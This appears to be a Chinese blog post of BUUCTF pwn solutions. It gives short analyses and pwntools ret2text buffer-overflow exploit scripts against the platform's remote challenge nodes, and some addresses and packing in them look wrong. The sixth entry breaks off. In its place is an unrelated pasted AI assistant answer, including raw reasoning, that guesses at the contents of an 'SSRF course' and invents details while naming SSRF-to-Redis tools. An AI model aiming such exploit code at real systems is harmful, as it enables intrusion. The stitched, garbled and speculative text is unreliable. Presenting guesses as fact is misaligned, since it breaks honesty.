buu刷题记录

1.text_your_nc

签到题,直接nc一下

2.rip

checksec一下,发现没开啥保护,是64位程序

丢进ida,发现gets函数存在栈溢出漏洞

同时发现fun函数,那就是ret2text的题型。

找偏移,构造payload

from pwn import *
#context.log_level='debug'
p = remote('node5.buuoj.cn',29576)
system = 0x4001187
payload = b'a' * 23 + p64(system)
p.sendline(payload)
p.interactive()

3.warmup_csaw_2016
checksec一下,啥也没开,是64位程序

丢进ida里,发现gets函数可以向v5数组里写入超长数据进而造成栈溢出。同样找到了后门函数,又是ret2text。

找offset,构造payload

from pwn import *
#context.log_level='debug'
p = remote('node5.buuoj.cn',29896)
system = 0x400611
payload = b'a' * 0x40 +b'a' * 0x8 + p64(system)
p.sendline(payload)
p.interactive()

4.ciscn_2019_n_1 1

64位程序开启了NX保护

放进ida,一眼还是ret2text

直接构造payload

from pwn import *
#context.log_level='debug'
p = remote('node5.buuoj.cn',29878)
system = 0x4006be
payload = b'a' * 0x30 +b'a' * 0x8 + p64(system)
p.sendline(payload)
p.interactive()

5.pwn1_sctf_2016

开启了NX保护是32位程序

放进ida,首先向S数组读入了32字节,这不足以造成栈溢出

并且在左侧函数栏发现了get_flag函数

通过运行输入尝试发现当我们输入I时,它会将I变为you进行输出,所以我们可以利用这种转换关系来进行栈溢出,这道题实质上还是ret2text

构造payload

from pwn import *
#context.log_level='debug'
p = remote('node5.buuoj.cn',25132)
system = 0x8048F0d
#0x3c = 60
payload = b'I' * 20  + b'a' * 4 + p64(system)
p.sendline(payload)
p.interactive()

6.jarvisoj_level0

<think>首先,用户查询是关于“buu平台ssrf课程1”的相关内容。用户提到了引用[1]到[4],但这些引用似乎是从之前的对话或上下文中提取的具体内容,并非直接相关的课程材料。用户说:“上述引用仅供参考,并不是用户真正的需求”,所以我需要专注于用户的核心问:查找BUU平台上的SSRF课程1相关内容。 BUU平台可能指的是一个网络安全学习平台,比如“Bugku University”或类似的东西,但我不确定具体的上下文。在引用中,提到了“buu题记”,这暗示BUU可能是一个CTF平台或在线学习平台,涉及SSRF(Server-Side Request Forgery)漏洞。 用户明确说:“我想查找buu平台上ssrf课程1的相关内容”,并且之前的引用涉及SSRF漏洞的实例和工具。 回顾系统级指令: - 所有行内数学表达式必须使用 $...$。 - 独立公式使用 $$...$$。 - 使用中文回答。 - 生成相关问。 - 回答中引用的段落末尾自然地添加引用标识。 - 回答结构清晰,帮助用户逐步解决问。 用户的上一次问是关于SSRF在BUU平台上的内容,所以我需要基于提供的引用和知识来回答。 分析引用: - [^1]:讨论SOAP的SSRF方法,提到CRLF注入和payload修改。 - [^2]:提到SoapClient类用于SSRF攻击。 - [^3]:涉及SSRFMe目,DNS重绑定漏洞,打Redis。 - [^4]:提到0day和Leaking目。 用户的问是关于“SSRF课程1”,所以我应该假设这是一个具体的课程或学习资源。 作为AI,我没有实时访问BUU平台的知识库,但我可以基于常见网络安全资源和这些引用推测内容。 可能的回答结构: 1. **理解问**:确认用户的需求是关于BUU平台的SSRF课程。 2. **提供相关信息**:基于引用和常识,描述SSRF漏洞的基础知识、常见攻击方法(如SOAP、DNS重绑定)、工具(如redis-ssrf)、以及BUU平台上的相关目。 3. **生成相关问**:在末尾添加相关问。 4. **引用标识**:如果引用内容,末尾添加[^number]。 由于用户说引用仅供参考,我应该优先基于推理提供内容。 推测SSRF相关内容: - SSRF基础:服务器伪造请求,访问内部资源。 - 在BUU平台:常见目如“SSRFMe”或类似。 - 从引用[3]:提到“[网鼎杯 2020 玄武组]SSRFMe”,这可能是BUU上的一道目。 - 课程1可能涵盖基础概念、工具和实践。 回答步骤: 1. **介绍SSRF**:简要解释SSRF是什么。 2. **BUU平台课程内容**:基于引用,推测课程可能包括: - SSRF via SOAPClient (from [^1] and [^2]) - DNS rebinding attacks (from [^3]) - Redis exploitation (from [^3] with tools like redis-rogue-server) - Practical challenges like "SSRFMe" on BUU. 3. **提供资源**:建议用户查看具体目或外部资源。 4. **生成相关问**:如关于具体工具、防御方法等。 5. **确保中文**:整个回答用中文撰写。 6. **格式**:如果有数学表达式,用$...$,但SSRF话可能不涉及数学,所以可能不需要。如果有变量或代码,用行内格式。 最终回答框架: - 开头:确认用户兴趣。 - 主体:描述推测的SSRF课程内容。 - 结尾:生成相关问。 </think>### BUU平台SSRF课程1相关内容分析 基于您提供的引用和常见网络安全资源,我将帮助您梳理BUU平台上SSRF(Server-Side Request Forgery)课程1的可能内容。SSRF是一种服务器端请求伪造漏洞,允许攻击者利用服务器发起任意请求,常用于访问内部资源或绕过防火墙。BUU平台(如Bugku CTF平台)常以实践目形式教授此类漏洞。以下是基于引用[1]、[2]、[3]、[4]的综合推测(引用仅供参考,我会结合普遍知识构建回答): 1. **SSRF基础概念与实践** SSRF课程1可能从基础入手,涵盖漏洞原理、攻击向量和简单利用方法: - 原理:SSRF允许恶意用户强制服务器向内部或外部系统发送请求(例如,访问localhost或内网服务)。 - 常见攻击向量:如SOAPClient类的利用(引用[2]),它可用于伪造HTTP请求[^2]。课程可能引用类似“[网鼎杯 2020 玄武组]SSRFMe”目(引用[3]),演示如何处理不支持自定义Headers的场景(如使用CRLF注入和payload修改,如 `\0` 和 `\0\0` 技巧)[^1]。 - 实践工具:课程可能推荐工具如 `redis-ssrf.py` 或 `redis-rogue-server`(引用[3]),用于自动化SSRF攻击Redis等数据库[^3]。 2. **DNS重绑定与内部资源访问** 课程1通常会深入DNS重绑定漏洞,这是SSRF的进阶技术: - 漏洞机制:通过操纵DNS响应,使服务器重复请求恶意域名,从而绕过IP限制(例如,访问 `http://0.0.0.0/hint.php` 以获取敏感信息,如Redis密码)[^3]。 - 实操案例:BUU目如“SSRFMe”可能被纳入课程,要求学习者利用SSRF打Redis服务(如设置键值或执行命令),引用工具如GitHub上的开源脚本进行复现[^3]。 3. **Payload构建与防御** 课程可能覆盖攻击payload的自定义技巧和防御策略: - Payload修改:教学中会教导如何利用特殊字符(如前缀 `s` 或 `S`)和编码绕过限制(引用[1]),例如在SOAP请求中注入CRLF攻击[^1]。 - 防御方法:课程可能总结常见防护措施,如输入验证、URL白名单和使用安全库(参考引用[4]的0day概念)[^4]。 为了深入学习,我建议您直接在BUU平台搜索“SSRF课程1”或相关目(如“SSRFMe”)。此外,可参考外部资源: - [SSRF漏洞详解与实战](https://zhuanlan.zhihu.com/p/103506795)(通用教程)。 - GitHub工具库如[xmsec/redis-ssrf](https://github.com/xmsec/redis-ssrf)(用于Redis攻击实践)[^3]。 如果您有具体目名称或代码片段,我可以帮助分析细节。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值